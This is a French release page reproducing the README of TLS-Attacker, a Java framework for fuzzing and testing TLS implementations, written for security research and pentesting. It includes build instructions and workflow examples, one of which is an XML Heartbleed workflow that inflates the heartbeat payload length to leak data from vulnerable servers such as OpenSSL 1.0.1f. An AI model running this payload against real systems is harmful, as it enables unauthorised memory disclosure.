Retour aux mises à jour
New releaseJul 31, 2026

TLS-Attacker v7.0.0-rtc

Framework basé sur Java pour le fuzzing systématique et l'analyse de bibliothèques TLS. Permet la création, la modification et le test arbitraires de messages de protocole, ainsi que le test de clients/serveurs TLS pour la découverte de vulnérabilités.

Partager

TLS-Attacker

GitHub release (latest by date) licence Build Status

TLS-Attacker est un framework basé sur Java pour analyser les bibliothèques TLS. Il est capable d'envoyer des messages de protocole arbitraires dans un ordre arbitraire au pair TLS, et de définir leurs modifications via une interface fournie. Cela offre au développeur la possibilité de définir facilement un flux de protocole TLS personnalisé et de le tester contre sa bibliothèque TLS.

Veuillez noter : TLS-Attacker est un outil de recherche destiné aux développeurs TLS et aux pentesteurs. Il n'y a pas d'interface graphique ni de feux verts/rouges.

Compilation et exécution

Pour compiler et utiliser TLS-Attacker, vous devez avoir Java et Maven installés. Sur Ubuntu, vous pouvez installer Maven en exécutant :

$ sudo apt-get install maven

TLS-Attacker nécessite actuellement Java JDK 21 pour fonctionner.

Si vous avez la version correcte de Java, vous pouvez exécuter la commande Maven depuis le répertoire TLS-Attacker :

$ git clone https://github.com/tls-attacker/TLS-Attacker.git
$ cd TLS-Attacker
$ mvn clean install

Sinon, si vous êtes pressé, vous pouvez ignorer les tests en utilisant :

$ mvn clean install -DskipTests=true

Les fichiers jar résultants sont placés dans le dossier « apps ».

Si vous souhaitez utiliser ce projet comme dépendance, vous n'avez pas besoin de le compiler vous-même et pouvez l'inclure dans votre pom.xml comme suit.

<dependency>
    <groupId>de.rub.nds.tls.attacker</groupId>
    <artifactId>tls-attacker</artifactId>
    <version>7.0.0</version>
    <type>pom</type>
</dependency>

TLS-Attacker est livré avec des applications de démonstration qui vous donnent un accès facile aux fonctionnalités de TLS-Attacker.

Vous pouvez exécuter TLS-Attacker en tant que client avec la commande suivante :

$ cd apps
$ java -jar TLS-Client.jar -connect [host:port]

ou en tant que serveur avec :

$ java -jar TLS-Server.jar -port [port]

Bien que ces exemples d'applications soient très puissants en eux-mêmes, TLS-Attacker déploie tout son potentiel lorsqu'il est utilisé comme bibliothèque de programmation.

Structure du code

TLS-Attacker se compose de plusieurs projets (Maven) :

  • TLS-Client : L'application exemple client
  • TLS-Core : La pile de protocoles et le cœur de TLS-Attacker
  • TLS-Mitm : Un prototype pour les workflows MitM
  • TLS-Server : L'application exemple serveur
  • TLS-Proxy : Utiliser TLS-Attacker pour les SSLSockets
  • TraceTool : Inspection et modification des traces de workflow de TLS-Attacker
  • Transport : Utilitaires de transport pour les couches inférieures
  • Utils : Une collection de classes utilitaires

Conception de TLS-Attacker

Vous trouverez plus d'informations sur ces modules dans le Wiki.

Fonctionnalités

Actuellement, les fonctionnalités suivantes sont prises en charge :

  • SSL 3, versions TLS 1.0 (RFC-2246), 1.1 (RFC-4346), 1.2 (RFC-5246) et 1.3 (RFC-8446)
  • SSL 2 (partiellement pris en charge)
  • Algorithmes d'échange de clés (EC)DH(E), RSA, PSK, SRP, GOST et ANON
  • Chiffrement CBC, AEAD et par flux (AES, CAMELLIA, DES, 3DES, IDEA, RC2, ARIA, GOST_28147_CNT_IMIT, RC4, SEED, NULL)
  • ~300 suites de chiffrement, ~30 extensions
  • Client et serveur
  • HTTPS
  • Workflows avec plus de deux parties
  • Beaucoup d'extensions
  • Tokenbinding (EC) et Tokenbinding sur HTTP
  • Sockets
  • TLS 1.3 0-RTT
  • STARTTLS
  • ...

Utilisation

Voici quelques exemples très simples d'utilisation de TLS-Attacker.

Tout d'abord, vous devez démarrer un serveur TLS (veuillez ne pas utiliser de serveurs publics). Exécutez le script keygen.sh si ce n'est pas déjà fait. Par exemple, vous pouvez utiliser un serveur de test OpenSSL :

$ cd TLS-Attacker/resources
$ openssl s_server -key rsa1024key.pem -cert rsa1024cert.pem

Cette commande démarre un serveur TLS sur le port 4433.

Si vous souhaitez vous connecter à un serveur, vous pouvez utiliser cette commande :

$ cd TLS-Attacker/apps
$ java -jar TLS-Client.jar -connect localhost:4433

Remarque : Si cette poignée de main échoue, c'est probablement parce que vous n'avez pas spécifié une suite de chiffrement concrète. TLS-Attacker ne respectera pas complètement les suites de chiffrement sélectionnées par le serveur.

Vous pouvez utiliser une suite de chiffrement différente, une version TLS différente ou vous connecter à un port différent avec les paramètres suivants :

$ java -jar TLS-Client.jar -connect localhost:4433 -cipher TLS_RSA_WITH_AES_256_CBC_SHA -version TLS11

Si vous êtes un développeur plus expérimenté, vous pouvez créer votre propre flux de messages TLS en écrivant du code Java. Par exemple :

Config config = Config.createConfig();
WorkflowTrace trace = new WorkflowTrace();
trace.addTlsAction(new SendAction(new ClientHelloMessage()));
trace.addTlsAction(new ReceiveAction(new ServerHelloMessage()));
State state = new State(config, trace);
DefaultWorkflowExecutor executor = new DefaultWorkflowExecutor(state);
executor.executeWorkflow();

TLS-Attacker utilise le concept de WorkflowTraces pour définir un « flux de messages TLS ». Un WorkflowTrace consiste en une liste d'actions qui sont ensuite exécutées les unes après les autres. Bien que pour un « flux de messages TLS » typique, seules des SendAction et ReceiveAction soient nécessaires, le framework ne s'arrête pas là et implémente beaucoup d'autres actions qui peuvent être utilisées pour exécuter des flux de messages encore plus arbitraires. Une liste des actions actuellement implémentées avec des explications se trouve dans le Wiki.

Nous savons que beaucoup d'entre vous détestent Java. Par conséquent, vous pouvez également utiliser une structure XML et exécuter votre protocole TLS personnalisé à partir de XML :

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <!-- Envoyer ClientHello -->
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <EllipticCurves/>
                    <SignatureAndHashAlgorithmsExtension/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ClientHello>
        </configuredMessages>
        <configuredRecords>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- Recevoir la réponse du serveur -->
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    
    <!-- Envoyer l'échange de clés client et la fin -->
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange/>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
        <configuredRecords>
            <record/>
            <record/>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- Recevoir la fin du serveur -->
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
</workflowTrace>

Si cette structure XML se trouve dans TLS-Attacker/apps/workflow.xml, il suffit d'exécuter :

$ java -jar TLS-Client.jar -connect [host]:[port] -workflow_input workflow.xml

Système Protocol-Attacker / Couche

Conçu à l'origine pour attaquer le protocole TLS, TLS-Attacker est capable de prendre en charge des protocoles arbitraires. À cette fin, TLS-Attacker attribue une pile de couches à chaque connexion. Cette pile de couches est constituée des différentes couches de protocole que l'utilisateur souhaite utiliser. Avec la pile de couches, l'utilisateur peut ajouter des couches comme DTLS ou HTTP (d'autres sont en cours de développement) dans un ordre arbitraire.

Pour envoyer et recevoir des messages arbitraires à l'aide d'une pile de couches, l'utilisateur peut définir des configurations pour chaque couche. Ces configurations spécifient les messages à envoyer ou à recevoir. Cela permet également à l'utilisateur de spécifier les conteneurs de messages/données spécifiques à la couche pour chaque couche. Par exemple, on pourrait spécifier les messages TLS et les enregistrements que TLS-Attacker doit envoyer. TLS-Attacker encapsulerait automatiquement les messages TLS donnés dans les enregistrements.

Variables modifiables

TLS-Attacker utilise le concept de Variables modifiables pour permettre des modifications à l'exécution sur des workflows prédéfinis. Les variables modifiables permettent de définir des modifications sur des types de base après ou avant que leurs valeurs ne soient réellement définies. Lorsque leurs valeurs réelles sont déterminées et que l'on tente d'accéder à la valeur via des getters, la valeur originale est retournée sous une forme modifiée en conséquence. Plus de détails sur ce concept se trouvent sur https://github.com/tls-attacker/ModifiableVariable.

ModifiableInteger i = new ModifiableInteger();
i.setOriginalValue(30);
i.setModification(new AddModification(20));
System.out.println(i.getValue());  // 50

Dans cet exemple, nous avons défini un nouveau ModifiableInteger et défini sa valeur à 30. Ensuite, nous avons défini une nouvelle modification AddModification qui retourne simplement la somme de deux entiers. Nous avons défini sa valeur à 20. Si nous exécutons le programme ci-dessus, le résultat 50 est affiché.

Nous pouvons bien sûr utiliser ce concept en construisant nos workflows TLS. Imaginez que vous vouliez tester un serveur pour une vulnérabilité Heartbleed. Pour cela, vous devez augmenter la longueur de la charge utile dans la demande heartbeat. Avec TLS-Attacker, vous pouvez le faire comme suit :

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <HeartbeatExtension/>
                    <EllipticCurves/>
                </extensions>
            </ClientHello>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange>
                <computations/>
            </RSAClientKeyExchange>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <Heartbeat>
                <payloadLength>
                    <modifications>
                        <integerExplicitValueModification>
                            <explicitValue>20000</explicitValue>
                        </integerExplicitValueModification>
                    </modifications>
                </payloadLength>
            </Heartbeat>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <Heartbeat/>
        </expectedMessages>
    </Receive>
</workflowTrace>

Comme vous le voyez, nous avons explicitement augmenté la longueur de la charge utile du message heartbeat de 20000. Si vous exécutez l'attaque contre un serveur vulnérable (par exemple, OpenSSL 1.0.1f), vous devriez voir une réponse heartbeat valide.

D'autres exemples d'attaques et des explications supplémentaires sur TLS-Attacker se trouvent dans le wiki.

Fonctionnalités avancées

Certaines actions nécessitent un contexte ou une configuration pour être exécutées correctement. Par exemple, si TLS-Attacker essaie d'envoyer un message ClientHello, il a besoin de savoir quelles valeurs mettre dans le message, par exemple, quelles suites de chiffrement ou quelle version de protocole utiliser. TLS-Attacker tire ces informations d'un fichier de configuration (situé par défaut dans TLS-Core/src/main/resources/default_config.xml). Les valeurs déterminées à l'exécution sont stockées dans le TlsContext. Lorsqu'une valeur normalement sélectionnée dans le contexte est manquante (parce qu'un message n'a pas encore été reçu), la valeur par défaut de la Config est sélectionnée. Vous pouvez spécifier votre propre fichier de configuration en ligne de commande avec le paramètre « -config ». Notez que si vous ne définissez pas explicitement de valeur par défaut dans le fichier de configuration, TLS-Attacker comble cette lacune avec des valeurs codées en dur (qui sont égales à la configuration par défaut fournie). Plus de détails sur la personnalisation de TLS-Attacker se trouvent dans le wiki.

Remerciements

Nous tenons à remercier toutes les personnes qui ont contribué au projet TLS-Attacker.

Un grand merci aux personnes suivantes pour leurs contributions notables :

Muhammad Abubakar, Fabian Albert, Panneer Selvam Annadurai, Nimrod Aviram, Philipp Brinkmann, Till Budde, Florian Bürger, Christoph Buttler, Jens Carl, Raphael Dietrich, Felix Dreissig, Bastian Ebach, Malena Ebert, Robert Engel, Nils Engelbertz, Paul Fiterau Brostean, Janis Fliegenschmidt, Alexander Freiherr von Buddenbrock, Matthias Manfred Geuchen, Alexander Glasfort, Nils Hanke, Lucas Hartmann, Bastian Haverkamp, Nico Heitmann, Jannik Hölling, Selami Hoxha, Kevin Jagla, Nils Kafka, Jan Kaiser, Anton Khristoforov, Felix Kleine-Wilde, Mario Korth, Sebastian Krois, Christian Krug, Florian Linsner, Christian Mainka, Jonas Moos, Simon Nachtigall, Simon Nattefort, Philipp Nieting, Niels Pahl, Christoph Penkert, Florian Pfützenreuter, Adrian Pinner, Malte Poll, Christian Pressler, Tim Reisach, Philip Riese, Nils Luca Rudminat, Henrik Schaefer, Marten Schmidt, Conrad Schmidt, Daniel Siegert, Tim Storm, Rigers Sulku, Bjarne Tempel, Matthias Terlinde, Jonas Thiele, Pierre Tilhaus, Joshua Waldner, Patrick Weixler, Philipp Wirth, Asli Yardim, Dennis Ziebart, David Ziemann, Philipp Ziemke

Les contributions supplémentaires et les pull requests sont les bienvenues.

Articles scientifiques

Les concepts de base de TLS-Attacker et plusieurs attaques sont décrits dans l'article suivant :

Ci-dessous, nous listons les études scientifiques récentes qui ont utilisé TLS-Attacker. Vous trouverez la liste complète dans le Wiki

Si vous avez des idées de recherche ou besoin de soutien, n'hésitez pas à nous contacter sur Twitter (@ic0nz1 , @jurajsomorovsky , @marcelmaehren , @nerinola1 , @JonSnowWhite2) ou sur https://www.hackmanit.de/.

Si TLS-Attacker vous aide à trouver un bug dans une implémentation TLS, veuillez reconnaître cet outil. Merci !

Lire plus

Catégories

Analyse des VulnérabilitésFuzzingSécurité RéseauCryptographieTests d'Intrusion